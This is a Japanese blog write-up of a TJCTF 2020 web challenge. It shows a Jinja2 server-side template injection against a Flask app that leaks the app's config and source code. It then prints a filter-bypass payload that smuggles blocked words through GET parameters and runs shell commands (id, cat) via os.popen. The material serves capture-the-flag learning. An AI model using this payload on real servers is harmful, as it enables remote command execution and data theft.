はまやんはまやんはまやん

hamayanhamayan's blog

Congenial Octo Couscous [TJCTF 2020]

Written by avz92
Team Congenial-Octo-Couscous is looking to replace one of its members for the Battlecode competition, who carried the team too hard and broke his back. Until a neural net can take his place, the team wants a 4th member. Figure out how to join the team and read the secret strategy guide to get the flag.
http://congenial_octo_couscous.tjctf.org/ Hint: Source code would probably be useful

f:id:hamayanhamayan:20200527214539p:plain

なんかの登録ができる。
Strategy Guideを表示しようとすると、アクセス拒否される。
アクセス拒否を回避するのが、目的のようだ。

調査

  • /
    • 特に気になる所がない
  • POST /apply
    • POSTデータ fname=hamayan&lname=hamayan&email=hamayan%40example.com&username=hamayanhamayan
    • トップページからjs経由で送られて、Hello, hamayanhamayan. Your application will be processed in 7 weeks.みたいに返答が来る。
  • /strategyguide.txt

ヒントにソースコードを見ろとあるけど、全然わかんねぇ。

解説を見る

(4) TJCTF - Congenial Octo Couscous [ Web ] [ Writeup ] [ DeadlockTeam ] [ Sql3t0 ] - YouTube
なるほどなぁ

SSTI

Usernameに{{config}}を入れてみると、なにやら色々出てくる。

Hello, <Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': None, 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': None, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'SERVER_FILEPATH': '/secretserverfile.py'}>. Your application will be processed in 4 weeks.

なるほど。
/secretserverfile.pyというのが抜き取れている。とりあえずアクセスしてみると、ソースコードが抜き取れる。
ヒントが指してるのはこれか。ここまでたどり着くのが長いな。

from flask import Flask, render_template, request, render_template_string
from multiprocessing import Pool
import random
import re
app = Flask(__name__,template_folder='templates')
app.config['SERVER_FILEPATH']='/secretserverfile.py'

def check_chars(text=''):
    if text=='':
        return False
    if '{' in text or '}' in text:
        text2=re.sub(r'\s','',text).lower()
        illegal = ['"', 'class', '[', ']', 'dict', 'sys', 'os', 'eval', 'exec', 'config.']
        if any([x in text2 for x in illegal]):
            return False
    for i in range(10):
        if str(i) in text:
            return False
    return text

def async_function(message):
    return render_template_string(message)

app.jinja_env.globals.update(check_chars=check_chars)

@app.route('/')
def main():
    return render_template('index.html')

@app.route(app.config['SERVER_FILEPATH'])
def server():
    return open('server.py').read()

@app.route('/strategyguide.txt')
def guide():
    #TODO: add authentication to endpoint
    return 'ACCESS DENIED'

@app.route('/apply',methods=["POST"])
def apply():
    if request.form.get('username') is not None:
        if check_chars(request.form.get('username')):
            message='Hello, '+check_chars(request.form.get('username'))+'. Your application will be processed in '+ str(random.randint(3,7)) +' weeks.'
            result=None
            with Pool(processes=1) as pool:
                return_val=pool.apply_async(async_function,(message,))
                try:
                    result=return_val.get(timeout=1.50)
                except:
                    result='Server Timeout'
            return result
        else:
            return 'Server Error'

if __name__ == "__main__":
    app.run(debug=True) 

いつものPayloadsAllTheThingsをみると、結構たくさんのことができる。

{{(config|attr(request.args.x)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')(request.args.l)|attr('popen')('id')|attr('read')())}}

これをuserdataに入れるといいのだが、URLに工夫が必要。
フィルターをバイパスするための工夫がそこにある。

/applyではなく、/apply?x=__class__&l=osとする。
フィルタリングされている文字をgetパラメタで別途インジェクションする。
天才かな?
すると、idコマンドの結果が出てくる。

idの部分をcat strategyguide.txtにするとフラグが出てくる。